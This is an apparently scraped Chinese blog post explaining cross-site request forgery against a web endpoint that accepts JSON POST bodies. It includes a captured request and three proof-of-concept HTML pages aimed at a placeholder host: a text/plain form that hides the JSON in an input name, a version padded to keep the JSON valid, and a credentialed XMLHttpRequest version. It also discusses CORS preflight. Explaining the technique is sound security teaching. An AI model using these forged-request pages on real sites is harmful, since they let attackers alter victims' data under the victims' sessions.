CSRF做为常见漏洞,一直受到关注和研究,JSON是一种应用普遍的轻量级数据交换格式,当CSRF去POST一段JSON,状况可能会变得有些不同;这次就一种特殊状况下的CSRF进行分析,权当抛砖引玉。 html
某次遇到一个没有验证token与referer的CSRF。web
其原始数据包为:json
POST /webnet/edit HTTP/1.1 Host: www.xxx.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/json; charset=utf-8 Content-Length: 85 Cookie: testcookie=yes; ASP.NET_SessionId=5udmqb45qoypdc55mfp1w4vy {"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"}
很明显,这是个编辑某种信息的操做,POST的是一段JSON,且没有对token和referer的验证 跨域
用form来提交,poc以下,把name置为一段JSON,其value置为空:浏览器
<html> <body> <form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain"> <input type="hidden" name="{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"}" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html>
不过这样POST的数据包会多一个“=”,由于咱们虽然把value置为空,而后仍是会出现“name=”。cookie
这种状况下服务端的JSON解析器可能会拒绝这段JSON,由于它不符合JSON的数据格式。参照外国基佬的作法,咱们能够给value赋值从而对这个“=”后面的数据进行补全,使得其构成一个完整的JSON格式,可避免解析器报错(JSON Padding)。app
POC以下:post
<html> <form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain"> <input name='{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046", "test":"' value='test"}'type='hidden'> <input type=submit> </form> </html>
获得的POST包,这样就构造出符合标准的JSON数据格式,从而避免报错:code
须要注意的是,在原始的数据包里Content-Type的值是application/json,而以form去提交是无法设置enctype为application/json的,在这里设置为text/plain,那么如何设置Content-Type的值呢?orm
因此咱们须要利用XHR进行提交,关于XHR的背景知识再也不赘述:https://en.wikipedia.org/wiki/XMLHttpRequest。POC以下(其中将content-type设置为application/json):
<html> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.xxx.com/webnet/edit", true); xhr.setRequestHeader("Accept", "*/*"); xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3"); xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8"); xhr.withCredentials = true; xhr.send(JSON.stringify({"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"}); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();"/> </form> </body> </html>
在CORS标准中,定义了新的HTTP消息头Access-Control-Allow-Origin,使得服务端能够定义容许经过浏览器请求的域集合。另外,标准定义了当跨域影响用户数据HTTP请求(如用XMLHttpRequest发送post)时,浏览器会发送预检请求(OPTIONS请求)给服务端征求支持的请求方法,而后根据服务端响应容许才发送真正的请求。
在某些状况中,若是服务端对Content-Type进行校验,则不会响应这个OPTIONS请求,从而利用失败,可是更多的状况下服务端可能不会校验Content-Type,或者不会严格校验Content-Type是否为application/json,因此不少状况下这是可用的。